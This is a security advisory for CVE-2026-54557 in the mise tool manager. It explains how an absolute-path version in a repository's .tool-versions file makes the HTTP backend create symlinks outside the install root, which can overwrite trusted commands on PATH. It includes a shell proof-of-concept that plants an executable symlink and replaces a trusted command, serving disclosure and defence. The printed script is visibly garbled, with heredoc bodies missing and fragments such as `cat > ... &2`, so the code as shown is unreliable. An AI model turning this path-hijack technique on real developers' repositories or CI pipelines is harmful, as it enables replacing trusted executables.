GitHub Advisoryadvisory · crates.io
GHSA-f94h-j2qg-fxw3 mise HTTP backend uses raw version path for install symlink destination
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54557
- Ecosystem
- crates.io
- Packages
- mise
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-06-23
Affected packages
• crates.io mise: < 2026.6.1 → fixed in 2026.6.1
Description
Summary
The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root.
A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`.
The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command.
Affected Code
In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`:
```rust
let version_name = if tv.version == "latest" || tv.version.is_empty() {
&cache_key[..7.min(cache_key.len())]
} else {
&tv.version
};
let install_path = tv.ba().installs_path.join(version_name);
```
`ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it.
Impact
Proven:
• Outside-root symlink creation from a repository-controlled `.tool-versions` entry.
• Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured.
• The executable symlink can be run if that prefix's `bin` directory is on `PATH`.
• Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name.
Not claimed:
• `mise install` does not automatically execute the placed binary in the reproducer.
• Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
• Credential theft is not claimed.
Why This Crosses A Boundary
`.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.
The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:
```text
$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...
```
The observed behavior instead allows the project version string to choose an absolute install destination.
Reproduction
The script below performs three local checks:
1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.
2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`.
3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.
The script uses a loopback HTTP server and temporary directories only.
```sh
!/bin/sh
set -eu
if ! command -v mise >/dev/null 2>&1; then
echo "mise must be on PATH" >&2
exit 1
fi
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 must be on PATH for the loopback HTTP server" >&2
exit 1
fi
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" &2
exit 1
fi
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" &2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" &2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"
```
Expected vulnerable markers:
```…
Related
Alias · CVE (1)
- CVE-2026-54557 mise manages dev tools like node, python, cmake, and terraform. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness